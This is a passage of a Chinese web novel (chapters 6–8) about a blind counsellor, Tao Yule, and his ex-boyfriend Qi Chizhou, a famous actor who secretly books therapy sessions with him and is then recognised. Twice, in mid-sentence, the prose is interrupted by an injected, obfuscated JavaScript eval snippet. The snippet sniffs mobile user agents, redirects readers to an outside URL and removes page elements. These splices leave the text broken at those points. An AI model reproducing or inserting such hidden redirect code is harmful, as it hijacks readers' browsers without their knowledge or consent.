——人的适应能力很强。 戚驰舟面无表情地在心里将这句话重复一遍,也不知道究竟认不认可。 他只是在静了片刻以后,重新将目光从不远处那张干净整洁的办公桌上扫过,又定定看了陶与乐很久,半晌后继续用手机打字:“进来的时候无意中看到副画。” “陶医生平时也追星吗?” “——喜欢戚驰舟?” 6. 粉丝 “陶医生也追星吗?” “陶医生也追星啊?” 自从戚驰舟四年前像紫薇星一样横空出世,直接一跃成为人尽皆知的当红明星之后,有很多人问过陶与乐这个问题。 有人惊诧,有人好奇,还有人非常兴奋,像找到共同语言一样,迫不及待跟他分享戚驰舟的种种新闻或者成绩。 于是,陶与乐从最开始的滞涩僵硬,到后面的应付自如,一共只花了不到一个月时间。 没人知道他这样一个后天残疾的瞎子,曾经跟娱乐圈现今最炙手可热的顶流有过无比亲密的交集,也没人知道他假装戚驰舟的粉丝,究竟藏着多少私心。 陶与乐到现在都还记得,六年前他在电话里向戚驰舟说出分手,然后悄悄躲起来那段时间,他一边承受着视力急速下降带来的恐惧、慌乱、痛苦,一边咬紧牙关强迫自己藏好,千万不要回头,千万不要让戚驰舟发现真相,不要成为他的累赘,不要让戚驰舟的人生都被一个瞎子给拽脱轨...... 日子最难过的时候,陶与乐连声音都压抑不住,只能带着一身磕碰出来的伤口,很懦弱地躺在床上,弓着身子,崩溃地,小声地,呜呜地哭。 彻底失明,双眼只剩下微弱的光感,就连医生也宣告无能为力那天,他甚至有那么一瞬间想过去死。 为什么他的基因会有缺陷,为什么他会变成瞎子,为什么这样的事会被他给碰上,为什么...... 哪怕陶与乐后来重新振作起来,用爷爷留下的钱找到一所盲校,在那里重新学习该如何以一个瞎子的身份生活。 那种压抑、害怕与痛苦,还是在无数个午夜梦回时,将陶与乐压得喘不过气,激得他浑身上下都疼。 这当然不再是因为失明。 失明这件事陶与乐已经接受了,认命了,不在意了。 他只是越来越想戚驰舟,又不敢去想戚驰舟。 当初他用那种方式提出分手,又不告而别,戚驰舟怪不怪他?恨不恨他?是不是讨厌死了他,气到不愿意向任何人再提起他?这么长时间过去了,会不会慢慢地忘记他? 各种各样的念头堵在胸口,自始自终都挥之不去,陶与乐难受得一颗心都碎成几瓣。 但事实上,他最害怕的还不是这些。 他最害怕的,是未来某一天,自己会率先把戚驰舟给忘掉。 忘记他的声音,忘记他的样子,忘记那个对他来说最最重要的人...... 陶与乐不想忘记。 可人的记忆并非永恒,尤其是当再也不能看到的时候。 哪怕他在大脑中不断强化,反复回忆,也抵不过很多具体事件随着时间的流逝而渐渐模糊。 于是有那么一段时间,陶与乐害怕到甚至有些魔怔—— 他反反复复在盲文板上写戚驰舟的名字,反反复复听导进备忘录里那些语音,在自我折磨与自我安慰之间反复横跳。 长大以后的陶与乐已经不会哭了,原本他以为日子就要这么过下去了,他会一直将戚驰舟这三个字当成秘密,一直藏在心底......没想到突然有一天,竟然从别人口中听见了这个名字。 那天,陶与乐刚刚下课,摸索着收拾东西准备回宿舍的时候,有两个身上喷着香水的女孩和他擦肩而过。 其中一个听起来非常激动地“啊”了一声:“快点告诉我他叫什么名字!内娱什么时候上新了这种等级的帅哥,我居然都不知道!” “我天,你没看最近院线新上的那部电影吗?他演的男二直接掀桌,现在各大平台热搜铺天盖地,简直是一夜爆红!” “最近忙着考研哪有空啊,快说快说,我新老公他到底叫什么名字!” 陶与乐弯了弯嘴角,继续握着盲杖朝与她们截然相反的方向离开。 然而下一秒,他听见刚才那个女孩用很大声音说:“戚驰舟啊!” 猝不及防听见这三个字,陶与乐脚步蓦地一顿,连带着大脑都一片空白,下意识停止呼吸,用那双黯淡无神的眼睛,近乎茫然和不敢置信地转头望向声音传来的方向。 ...... 那天,他手持盲杖,磕磕碰碰地在许多惊疑与好奇的议论声中,去商场“看”了失明后的第一次电影。 也是那天,电影院工作人员实在忍不住开口问他:“同学,你是不是买错票了?这场电影你今天已经看第三遍了......” 陶与乐张了张口,听见自己对工作人员说了没有。 他没买错票。 他只是......只是很久没听过戚驰舟的声音,实在太怀念而已。 再后来,那个继电影播出之后一夜间涨粉千万,被无数营销号称为紫薇星的内娱顶流多了一个微不足道的粉丝。 陶与乐也有了越来越多的渠道,可以光明正大地了解跟戚驰舟有关的消息。 他听说戚驰舟是在回国陪朋友试镜时意外被导演选上,因为长相优越,气质独特,导演还特意为他改了剧本。 听说签约经纪公司以后,寰亚曾斥巨资找大师帮他取过一个艺名,戚驰舟偏偏不肯,坚持要用自己的本名出道。 还听说戚驰舟一路星途坦荡,哪怕性格跟其他明星相比,少了点圆滑和委婉,非常我行我素,依然吸粉无数。 虽然不知道为什么原本想当赛车手的戚驰舟最终会成为演员,但陶与乐还是特别特别为现如今这个光芒万丈,被无数人喜欢的戚驰舟感到高兴。 ——也为自己居然还能再“看”到他,而感到极其久违的悸动、喜悦以及安心。 尽管这种悸动、喜悦以及安心的情绪里面,还掺杂着许多难以言明的其他东西,但对于现在的陶与乐来说,能远远地看着,这就已经是最好的结局。 因此,哪怕每一次从别人口中听见戚驰舟这三个字,他都会控制不住心跳加速,呼吸暂停,产生一系列隐秘的,不为人知的生理反应。 此刻,他还是在顿了一下之后,冲着对面的人给出了一个熟练的,无懈可击的答案。 陶与乐侧头往自己办公桌的方向“看”了一眼,笑着点了点头,轻声道:“是啊,我是他的粉丝。” 然后将话题重新转移到戚驰舟的身上:“您刚才用了‘也’字,是平时也追星吗?” 追个屁。 ——粉丝。 没听到自己想要的回答,戚驰舟在心里嗤笑一声,低头正准备继续打字,手机却在这时突然嗡嗡嗡震动起来。 看到上面显示伍月的名字,他想都不想就点了挂断,结果不到一秒,伍月契而不舍地又拨过来,戚驰舟很不高兴地皱起眉头,再次挂断。 然而,听见动静的陶与乐却适时扬起脸说:“没关系,您要是有事就先接电话,我可以回避。” 戚驰舟:“......” 六年不见,别的地方不见长进,智商倒是变高不少。 居然能看出他只是单纯地不想在他这个心理医生面前说话。 知道伍月不会无缘无故连着给他打两个电话,戚驰舟犹豫片刻,先是黑着脸在手机打字,告诉陶与乐他一会儿回来,然后戴上帽子口罩,拿起手机离开。 这时文朔已经等在门口,看到他出来连忙迎上来,小声说:“驰哥,伍月姐她——” “你给我闭嘴!”戚驰舟一胳膊肘直接卡在他的脖颈上,一边往远处走,一边低声道:“之前跟你说过什么来着?” 不能暴露身份。 不能让陶医生发现。 文朔缩了缩脖子,无声向自己老板道歉。 直到他们一起去到天台,戚驰舟才终于把人放开,同时带着一身极其不爽的气息给伍月回去电话:“喂,怎么......” “我跟你说,之前陈导的那个试镜,男一号终于定下来了!” 怪不得去管戚驰舟挂她电话的事,伍月激动道:“我刚刚才收到消息,但现在各方面条件都谈拢了,合同马上就签,不出意外的话,三月份就可以进组......幸好我们之前冒着风险专门把你的档期给空了出来,现在总算是没白忙活。” 伍月口中的这个陈导是谁? 陈纪平,国内电影导演的领军人物,不论国际影响力,奖项认可度还是艺术风格,艺术创新全部首屈一指,几乎可以称作中国电影史上最重要的导演之一,代表了一个时代的艺术高峰。 可以说被他选中的主角,就没有不升咖不拿奖的。 只不过正是因为如此,他也是出了名的挑剔和审慎。 距离戚驰舟上次试镜已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17147183|196402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过去半年,现如今属于他的一番才终于敲定,不怪伍月如此激动,她可是指望着戚驰舟能靠这部电影将身价再翻上几番,最好直接捧座国际奖杯回来...... 然而,面对这样一个天大的,娱乐圈众人恨不得能眼红死的好消息,戚驰舟却只回了一个“嗯”字,然后问她:“完整版剧本发来了吗?” “剧本当然......”见他的反应如此平淡,伍月莫名道:“你什么情况?之前还很想争取,现在这么平静?” “还有昨天晚上那个盲人心理咨询师,你表现得这么反常,我都还没问你——” “没什么,”眼看着他花三千块钱预约的一个小时都快到了,戚驰舟不自觉拧起眉头,言简意赅道:“有情况会跟你说的。” “剧本发我邮箱,我抽空会看,要是没别的事我先挂了,晚点联系。” “哎戚——” 万分无语的伍月拿着已经黑屏的手机深吸口气,决定这个月必须让戚驰舟给她报销两个爱马仕稀有皮的购物开销。 而这边,电话挂断以后,戚驰舟收起手机就准备回咨询室去。 一直在旁边候着的文朔看了他一眼又一眼,还是忍不住问:“驰哥,你为什么不直接告诉陶医生你是谁啊?” 要求以文字的形式交流,还让他一口气交了一年的咨询费用,全部以十倍计数,前台小姑娘以为他是什么散财童子,连压箱底的进口咖啡都拿出来给他泡了。 “......” 戚驰舟面无表情地看他一眼:“他不是也没认出我来。” 这下轮到文朔不说话了。 他心道:你又不出声,陶医生的眼睛还看不见,这要是能认出来,岂不是大白天的见到鬼了? 戚驰舟没立刻吭声。 事实上,虽然打定了主意不让陶与乐立刻发现自己是谁,但两人面对面的那刻,戚驰舟心底里还是不受控制地产生过片刻期待。 后来转念一想,又觉得自己非常可笑。 六年不见,就连他跟陶与乐刚刚在咨询室里握手,又一触即分那刻都觉得掌心传来的触感陌生,更何况陶与乐已经瞎了。 “可既然你不高兴,又怎么——”文朔实在不能理解。 “因为现在还不是时候,”戚驰舟面无表情地说。 那个爱哭又不说人话的003号系统无法向他剧透更多。 他不知道陶与乐这六年来到底过得怎样。 戚驰舟虽然咬牙切齿,恨不得立刻就将人拽进怀里,质问陶与乐当年的真相是不是他想的那样,质问他这六年想不想他。 可他也不得不因为他们分开的这两千一百多天,去思考其他有可能发生的小概率事件。 这么多年,陶与乐有没有喜欢过别人,有没有跟别人在一起。 虽然戚驰舟不认为这世上还有其他人能比得上他,可要是陶与乐真的有了新的生活,新的男友—— 戚驰舟强压着某种情绪,面无表情地想:那陶与乐不一定会希望他这个前男友出来搅局。 那他就远远看着,不破坏陶与乐现在的生活。 “那要是他没有呢?” 这话一问出口,文朔就意识到自己说了一句废话,重新调整思路道:“我的意思是,要是陶医生现在没跟别人在一起,但是......” 他咳嗽了一声:“但是也不想重新跟你在一起呢?” 文朔不清楚戚驰舟跟陶与乐之前到底有着怎样的感情纠葛,但他觉得既然分手那就一定会有原因。 破镜重圆这四个字只是表面上听起来简单,实际上哪有那么容易? 果然,听见这句话的戚驰舟脸瞬间黑了。 ——他当然不是没考虑过这种可能。 就算陶与乐没忘记他,还喜欢他,仍然有可能像六年前离开他那样,再一次拒绝他,推开他,躲着他。 那又怎样? 戚驰舟想起某年暑假回国,外婆正在电视上看的一部武侠剧集。 剧情什么的他不感兴趣,里面到底有哪些人物他也早就已经忘光。 唯独有一句台词,戚驰舟到现在都记忆深刻。 此刻,他看了文朔一眼,道:“他说不想就不想?” “我偏要勉强。” 7.掉马 为了替戚驰舟刺探军情,重新坐回前台等候区的文朔趁嘉禾再次过来倒水的时候忍不住问了一句:“陶医生在这里上班多久了啊?” “快三年了。” 因为早上发生的事,嘉禾对文朔很有好感,想都没想就像倒豆子一样告诉他:“我来得晚,但听说陶医生从上大学的时候就已经开始在我们这里实习,大家都喜欢他。” “后来他毕业了,非常顺利地考到了心理咨询师证书,而且因为表现优异,被特批转正,直接从原来的咨询师助理变成了现在的心理咨询师,可厉害了。” “这样啊,那确实......”文朔作为一个正常人,实在无法想象一个眼镜看不见的盲人要付出多大努力,才能像普通人一样工作生活,不由得再次对陶与乐肃然起敬。 不过他还记得自己给自己的任务,顿了顿又问:“那陶医生有没有女朋友啊?” 嘉禾立刻看他一眼:“你问这个做什么?” “好奇嘛,”文朔咳了一声,替自己找补:“主要是现实生活中很少见到像陶医生这么好看的人。” “那确实,我还记得我第一天来上班,见到陶医生走过来的时候都看呆了,”嘉禾低声道:“可惜......” 文朔的脑海中也不自觉浮现出刚刚亲眼见到陶与乐的场景。 对方的皮肤在自然光下有种透明的白,衬得头发跟眼珠都异常的黑,还有那身极其干净、柔软又温和的气质,远比伍月手机里偷拍的那张照片更吸人眼球。 就连在娱乐圈已经混了几年,对帅哥美女早就免疫的文朔都愣了片刻,自然而然,也就理解了他驰哥这么多年念念不忘的原因。 “你老板该不会是对陶医生有兴趣吧?”见文朔脸上的表情不对,再加上他之前眼睛连眨都不眨就提前预缴的天价咨询费用,嘉禾立刻警惕道:“虽然陶医生很少跟我们聊他的私事,我不清楚他的感情状况,但我知道,他绝对不喜欢男人。” 文朔这会儿正在喝水,猝不及防被呛了一下:“......为什么?” “因为之前就有个来访者追求过他,这句话是陶医生亲口说的。” “......”文朔“哦”了一声。 觉得在嘉禾这里套不出更多有用信息,又担心会坏了戚驰舟那边的事,他连忙打了个哈哈,在打消嘉禾心中的疑虑之后转移话题。 见他信誓旦旦,嘉禾倒也没有多想。 只是在端着水壶离开等候区的时候忍不住朝戚驰舟跟陶与乐所在那间咨询室的方向看了一眼,像是好奇。 咨询室内。 陶与乐当然不会知道外面发生的事。 也猜不到此刻正坐在他对面的人,就是他想见又不敢见,像个秘密一样藏在心里整整六年的前男友。 他只是本能地觉得这个来访者有点奇怪。 比如,他能感觉到在这一个小时的咨询时间当中,对方好像自始自终都将目光落在他的脸上,视线如果能形成实质,那么陶与乐极有可能会被盯穿。 还比如,这个来访者似乎对自身存在的心理问题并没有那么在意,反倒更倾向于跟陶与乐聊一些与主题无关的其他话题。 这让陶与乐内心不由得产生了一丝异样,同时升起的还有警惕。 不为别的。 陶与乐的眼睛虽然看不见了,这些年却不乏有同性向他表示好感。 有想邀请他上床的,还有试图追求他的......无论怎样,这一切都只让陶与乐觉得困扰,他不需要任何人的靠近,也不需要任何人的喜欢。 可对面这个人的情况,似乎跟之前又有些不太一样。 具体哪里不一样陶与乐也说不太清,毕竟对方全程都没有发声,他无法通过语气来判断对方在想什么。 更何况,尽管面前这个人在咨询过程中提出的很多问题都是冲他来的,却并没有刨根问底,令陶与乐产生什么不舒服的感觉。 ——所以,是错觉吗? 幸好一个小时的咨询时间很快到了。 陶与乐望着空气说:“接下来如果您再次感到空虚或者无聊,可以尝试用我刚才说的方法调整自己,看会不会有所改善。” 戚驰舟则盯着他很轻地磨了磨牙。 事实上,心理咨询后面这二十分钟,陶与乐没有给戚驰舟任何把话题转移到他身上,进行深入探究的机会。 态度温温和和,言语却滴水不漏。 于是,戚驰舟非常清晰且直观地感受到了这六年来在陶与乐身上发生的变化,以及他现如今之所以能成为一名心理咨询师的专业能力。 ——还挺厉害。 虽然被诊断有轻度存在性空虚令他稍微有点不爽,但近距离看着陶与乐站在他的角度,给出许多行为疗法建议的时候,还是一边走神,一边不自觉产生了一点难以言喻的情绪。 好像骄傲、失落和生气混在一起,五味杂陈。 “那咱们今天的咨询就到这里,”见戚驰舟久久不语,陶与乐望着前面的空气继续道:“......看您还有没有什么想了解的?” 听到这里戚驰舟才回过神来。 他盯着陶与乐看了一会儿,低头打字:“既然我真的有心理问题,陶医生觉得我应不应该每周都来?” “......”陶与乐顿了下,说:“从专业的角度来看,当然是建议您进行一整个周期的心理咨询。” 戚驰舟面无表情:“那陶医生有把握治好我吗?” 陶与乐马上用挑不出错的态度回答:“这个需要您跟我一起努力。” 好。 很好。 非常好。 戚驰舟收回落在陶与乐脸上的目光,打字通知他:“咨询费我已经让助理预缴一年,下周同一时间,我还会再来找你。” 不等陶与乐作出反应,戚驰舟又说:“另外,你们心理咨询中心应该不会中途倒闭,陶医生应该也不会随便离职,对吧?” 不知为何,陶与乐心头倏地一跳,下意识顺着戚驰舟的问题说了当然。 戚驰舟点了点头。 接下来,陶与乐按照正常流程,摸索着将自己的工作名片递给了他,名片递出去的那一瞬间,两人的指尖意外碰到一起。 而且还因为空气干燥的缘故,肢体接触的地方“啪”地一声传来静电。 当那种轻微又明显的刺痛传来,陶与乐立刻把手收了回来:“抱歉......” 戚驰舟什么话都没有说。 只是陶与乐并不知道,站在他对面这个人虽然没有开口,却低头望向自己的指尖一秒,然后微不可察地用拇指捻动一下,不知道在想些什么。 戚驰舟没有多留,也没找借口拖延时间。 他看了看表,在距离陶与乐下个咨询者还有二十分钟的时候准时离开,顺便用打字的形式跟陶与乐解释了十倍咨询费的原因,并要求陶与乐以及整个心理咨询中心对他们的对话完全保密。 也正是因为他走得干脆利落,离开以后也没有立刻添加陶与乐的私人联系方式,好像要那张名片,仅仅只是为了留存,这让陶与乐忍不住怀疑起自己之前的猜测。 ——或许真是错觉。 他忍不住松了口气。 不过转念一想,又觉得自己好笑。 他不过是个瞎子,不应该草木皆兵,觉得随便哪个对他多提了几个问题的人,就是对他有所企图。 于是,陶与乐很快就把这段插曲和那一瞬间产生的异样抛在脑后,继续投入到下一个阶段的工作当中。 除了在中间休息的某个时间,轻轻地摸索着,将放在桌上那幅画挪在自己面前。 这是他专门找边绪帮忙定制的触摸画。 边绪是陶与乐在大学里认识的朋友,也是他身边唯一一个知道他跟戚驰舟过去的人。 虽然边绪嘴上总是劝他要往前走,对于他提出的种种要求,却完成得非常尽心。 这幅画跟普通的平面作品不同。 它用凸起的线条和纹理勾勒出戚驰舟的轮廓,而陶与乐只需要用指尖沿着线条描摹,就可以清晰地将戚驰舟的脸,一遍遍刻在自己脑中。 也正是因为如此,很多人看到这个,才会不约而同地问出那个相同的问题,把陶与乐当成粉丝。 接下来没有再出岔子,剩余的来访者也全部都很配合。 只不过时间确实排得太满,陶与乐几乎一整天都没怎么走出这间心理咨询室。 长期在感同身受和专业抽离这两种状态之间切换,做来访者的情绪出口,从某种程度上说,对心理咨询师也是一种巨大的心理负担。 于是,当笑着送最后一个来访者走出诊室,陶与乐很轻地呼出口气,有点累的把手机从口袋里摸了出来。 他平时给自己充电的方式非常简单,就是去看网上看戚驰舟的微博,搜和他有关的视频,听他的声音。 按照语音提示一步步点开微博,发现最新一条还是关于纹身的那句澄清。 陶与乐下意识抿了下嘴唇,指尖微顿。 最先将戚驰舟有纹身的新闻传到陶与乐耳朵里那个人也是边绪。 当时他还没有下班,边绪就已经拿着手机冲进咨询中心,一见到陶与乐立刻开口:“纹身,戚驰舟身上有一个纹身,你说这会不会跟你有关?” 陶与乐当时愣了足有十秒,消化了半晌才有些茫然地问:“......什么纹身?” 紧跟着,边绪向陶与乐描述了纹身的形状、大小、位置。 陶与乐虽然没那么自作多情,认为这个笑脸跟他有关,但在得知纹身位于戚驰舟左手大臂内侧以后,还是莫名想起了发生在很久之前的一件事情。 当时只有十七岁的陶与乐在鼓足勇气偷亲戚驰舟被发现以后,戚驰舟先是盯着他看了几秒,然后抓着他的手腕,很用力地反过来亲他很久。 陶与乐不自觉攥着他的睡衣,闭着眼睛来回应这个亲吻,直到嘴唇被咬破了,呼吸困难,戚驰舟才停下来。 后来他们俩肩并肩睡在一起,谁都没有说话,谁都没动,只有不知道是谁的心跳声,掺杂着呼吸的声音,在黑暗中震耳欲聋。 第二天起床,陶与乐实在忍不住问戚驰舟,他们这算不算在一起了。 “不然呢?!”戚驰舟瞬间提高了声音:“难道你还想赖账?” 说完这句,戚驰舟很快又咳嗽一声,不太自然地示意陶与乐过来牵他的手。 陶与乐的心跳也漏了半拍,面红耳赤,然而,就在他即将握住戚驰舟的时候,戚驰舟突然又换了只手,硬邦邦道:“......还是用左手。” ...... 那天,边绪尝试和他分析:“你叫陶与乐,他身上有一个笑脸纹身,要说这两者之间没有任何关联,我是绝对不相信的。” “哎,”边绪用胳膊肘碰了碰他,放低了声音问:“......这么多年,你就真没想过再去找他?” 陶与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153076|196402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乐当时心口一抽,不自觉张了张嘴。 “我发现你这个人——”边绪还准备说些什么,声音却在撇见紧跟着被顶上来的热搜之后戛然而止。 陶与乐看不见他的表情,只知道他迟疑了几秒时间,很小声道:“这个夏熠,是谁啊......” 陶与乐已经不记得自己那一刻到底是什么心情了。 他好像下意识就停了呼吸,等反应过来以后又仰起头冲边叙所在的方向笑了一下:“快下班了,要不要一起吃饭?” 当然,没过多久,戚驰舟一条微博,直接打碎了所有传言。 只是陶与乐仍然说不清自己的心情,只觉得胸口发酸。 那天,他一个人在机场站了很久,听见有许多粉丝从四面八方赶来,带着一腔热爱高喊戚驰舟的名字。而他还是不敢去想那个纹身跟他有关,而且发自内心地希望,最好不要跟他有关。 ——真没出息,陶与乐。 此刻,思绪回笼。 陶与乐只是觉得没看到戚驰舟的更新有点失望,充电的计划落空。 然而,就在他准备退出微博时忽然听见一条语音提示:您特别关注的@戚驰舟刚刚发布了一条微博...... 他按照习惯点进手机顶端的通知页面,发现戚驰舟在一分钟前发布的是一张照片。 跟正常的广告或者营业不同,戚驰舟平时发的日常照片鲜少配文,主打一个惜字如金。 可这回虽然跟以前一样,没有配任何文字,却第一次单独给图片添加了描述按钮。 陶与乐有点惊喜。 因为这意味着他不需要麻烦别人,就可以获知图片上的信息。 于是他按照语音提示按下描述按钮,手机自动朗读:在国内度过的第四个冬天。 陶与乐怔了一下。 他当然知道今年是戚驰舟回国进入娱乐圈以后的第四个年头。 而且戚驰舟杀青以后直接回了沪市,此刻正跟他待在同一片天空底下。 只是不清楚戚驰舟今年会不会像往常一样,飞回温哥华陪戚董事长和外公外婆过年。 独自在办公室里出了会儿神,然后长按保存,将这张照片保存在相册里面,又用自己全是乱码的账号给戚驰舟点了个赞。 准备把手机收起来的时候,陶与乐突然想到今天早上那个来访者问的问题。 “陶医生也追星吗?” “喜欢戚驰舟?” 他默默在心里纠正了自己的回答—— 不是粉丝。 但非常非常喜欢。 只是刷了这一会儿微博,陶与乐就已经重新充满了电,他心满意足地收拾好东西,带好可伸缩的盲杖准备下班。 还没走到前台,远远地就听见另外一个接待员正在跟嘉禾聊天,纳闷:“你到底想什么呢,都琢磨一整天了。” “哎!就是今天上午过来的那个帅哥啊,一口气交了一整年咨询费用,特别财大气粗那个。”嘉禾嘀咕了一声:“我总觉得他特别眼熟,但又想不出在哪儿见过。” 女接待员忍不住笑:“可你不是说他全程都戴着帽子口罩,连脸都看不清吗?” “对啊,连脸都看不清还能感觉到帅,你知道这是一种什么概念吗?”嘉禾忍不住望向自己同事,“我估计他净身高起码得有1米89,还有那种气质......” 陶与乐脚步不自觉一顿。 而不远处的对话还在继续。 “真的假的?有没有这么夸张。” ”真的,一点都不夸张,帽子口罩摘了绝对更帅。到底是在哪儿见过呢......按理说这种级别的帅哥,现实中只要见过一面我绝对不会忘记......” 嘉禾兀自说着,余光看到陶与乐的身影,脑海中电光火石突然联想到什么关键信息,瞪大眼睛脱口而出道:“我想到了,我想到了!” 她爆发出一声尖叫,甚至忍不住在原地蹦了两下:“好像是戚驰舟!” “陶医生,今天那个来访者好像是戚驰舟啊啊啊!!!” 旁边的女接待员吓了一跳:“怎么可——” 结果她的话还没说完,又看到陶与乐的表情,下意识道:“陶医生,你怎么了?” 陶与乐张了张嘴,只觉得脑子里嗡地一声,瞬间一片空白。 他觉得嘉禾的猜测一定不是真的, 现如今光芒万丈,站在娱乐圈顶层的戚驰舟怎么会出现在这种地方。 可假如,万一....... 今天上午那一个小时之内发生的种种也全部重新浮现在陶与乐的脑海当中, 他完全没听到嘉禾跟另外一个女接待员说了什么,离开咨询中心时满脑子只有一个念头——要是真的,是不是意味着戚驰舟发现了? 发现他变成了一个瞎子? 那么,今天在咨询室里,戚驰舟看着他的时候心里在想些什么? 是震惊、同情还是...... 这一刻,陶与乐几乎有些握不住手中的盲杖,连胃部都开始痉挛,等意识到身后有辆速度很快的电动车朝他冲过来时已经来不及去躲避。 然而,就在他即将被撞到的那个瞬间,一股巨大的力量直接将他拽进怀里,同时还带来一阵今天上午才闻到过的,陌生又熟悉的凛冽香气。 陶与乐心头猛地一颤,还没反应过来,就听见那个人咬牙切齿:“走路都能走神。” “陶与乐你是不是不想活了?!” 8.对峙 上午从这栋三层小楼的咨询中心出来以后,戚驰舟干脆把文朔支走,自己在车里坐了一天。 文朔离开时的表情非常震惊,似乎觉得这种事不像他这种风格能做出来的。 戚驰舟心中冷笑。 他守株待兔这么多年。 现在兔子好不容易蒙着眼撞柱子上了,他不可能让这件事出任何意外。 在车里坐一天又怎么了? 他演的从来都不是文朔想象中的苦情戏码,而是专门针对陶与乐的一场抓捕。 只不过戚驰舟原本没有想过露面。 他原计划是等陶与乐下班以后,他就跟在后面,看有没有人过来接他,看他到底住哪儿—— 万万没想到陶与乐现在眼睛看不见了,走路还会像十几岁一样心不在焉。 当黑色电动车喇叭按个不停,而他却傻站在那里不闪不避的时候,戚驰舟一口气直接提到了嗓子眼里,还没反应过来人就已经条件反射般冲了过去。 直到赶在电动车撞过来前将陶与乐拽到自己怀里,才稍稍松了口气,但仍然心有余悸。 这是他看到了,他出手了。 要是他没看到,旁边也没人提醒没人帮忙该怎么办? 戚驰舟憋了一肚子的话想继续训人,可望向陶与乐的眼睛,才忽然间意识到什么特别重要的事。 ——他刚才是没控制住出声了吗? ——他是不是叫了陶与乐的名字? 不知道自己其实已经被前台嘉禾给认出来的戚驰舟无声地偏过头去闭了闭眼:“艹......” 戚驰舟你他妈未免也太沉不住气...... 计划赶不上变化。 反正国人总说事已至此,来都来了,大过年的,多大点事...... 脑海中各种各样的念头飞快闪过一遍,戚驰舟深吸口气,调整了一下自己的面部表情,重新望向陶与乐。 陶与乐也僵在原地。 事实上,从戚驰舟出现的那一刻,他就像踩住钉子似的动弹不得。 一股难以言喻的慌乱、滞涩、窘迫在顷刻间蔓延全身,混杂着午夜梦回时想了无数遍的悸动、渴望、想念等情绪一起,争相涌到胸口,几乎要把陶与乐整个人都挤炸了。 而且戚驰舟攥着他的手攥得很紧,攥到连骨头都疼,到现在还没有松开。 可这恰恰说明了这一切都是真的。 陶与乐的胸口不受控制地起起伏伏,握着盲杖的手也不自觉松了又紧,紧了又松。 周围人来人往,各种声音不断,他需要竭尽全力地克制自己,才能不露出太多异样,或者当众红了眼眶。 此时此刻,他们两个人之间的距离很近。 都站在盲道那块只有三十厘米宽的地砖上面。 可刚刚才发完脾气的戚驰舟一时间没再说话,陶与乐的喉咙也干涩发紧,于是,他们就这样近距离站在一起,就像在寂静无声当中对峙,偏偏又亲密至极。 虽然天已经黑了,但整条街上都是亮的,不远处还有路灯,戚驰舟目不转睛地看着陶与乐,没错过他脸上任何一个表情。 他看到陶与乐嘴唇微张,看到他呼吸凝滞,看到他露出大脑一片空白的僵硬神态,看到他眼睛红了...... 确认从自己出现的这一刻起,陶与乐在瞬间产生了巨大的情绪波动,跟坐在心理咨询室那个永远都面带微笑,好像不论对谁都平静包容的陶医生截然不同,戚驰舟心里那股积攒和压抑了很久的郁气才稍微顺了一点。 ——惊怒之下短暂罢工的触觉神经也重新开始恢复。 之前穿着衣服看不出来。 此刻时隔六年扣住陶与乐的腰身,除了觉得手感变陌生了,掌心微微发麻之外,戚驰舟脑海中还同时浮现出另外一个念头。 他有些愠怒地想:陶与乐平时都不好好吃饭的吗? 一个是余怒未消,咬牙切齿,一个是浑身僵硬,如在梦中,就在他们隔着六年时光却相顾无言的时候,身后突然传来一道响亮的女声:“陶医生!” “可算是追上你了,”已经下班的嘉禾跟前台另外一个女接待员一起背着包小跑过来,“刚刚在楼上看你脸色不好,担心你出什么事,要不我们跟你一起......呃、这位,这是......” 听见声音的陶与乐这才如梦初醒,立刻后退一步,从戚驰舟怀里出来。 戚驰舟则望向自己瞬间空了的手,下意识握了握拳,然后不着痕迹地重新站直,同时呼出口气,觉得今天真是流年不利。 走近了的嘉禾并没有察觉到他们之间的异样氛围,在看清陶与乐身边站的是谁之后一边瞪大眼睛,一边伸手去拽同事衣服,压低声音道:“就是他就是他!是戚驰舟啊!!!” 女接待员不敢相信,跟她咬耳朵:“……不可能吧?” “这个眼睛这个眉毛......我发誓绝对是他,绝对是他!” 没想到居然能再次碰见,嘉禾有些激动地望向戚驰舟道:“你是戚驰舟吗?你还记得我吗?我是今天上午帮你预约登记的接待员。” “我一直觉得你很眼熟,但今天一整天都没想起来,直到在楼上看见陶医生才反应过来,当时跟他们说他们还不相信。” “......” 看着嘉禾兴奋不已说个不停的样子,戚驰舟几乎是瞬间就猜到了陶与乐下班时异常失态的根本原因。 ——原来他的马甲早就掉了。 ——原来早在他出现之前,陶与乐就已经从别人口中提前认出了他。 戚驰舟眉心突突跳了两下。 虽然再一次觉得流年不利,还是当着陶与乐同事的面摘了口罩:“嗯,是我。” “啊啊啊!”验证了自己的猜测,同时近距离看到戚驰舟那张帅得极具冲击力的脸,嘉禾拽着身边的同事,完全忘了她们之前跑过来是为了什么:“你看你看,我就说吧!” 另外一个女接待员从不追星,可也在短时间内被戚驰舟的五官慑住,下意识屏住呼吸。 见嘉禾在他面前蠢蠢欲动却欲言又止,戚驰舟干脆问:“要合影吗?” “真的可以吗?要要要!”嘉禾立刻从包包里拿出手机,女接待员犹豫片刻,动作也是一样。 于是,戚驰舟在不着痕迹地瞥了陶与乐一眼之后,非常绅士配合地这两个女孩用手机拍起照片。 老实说。 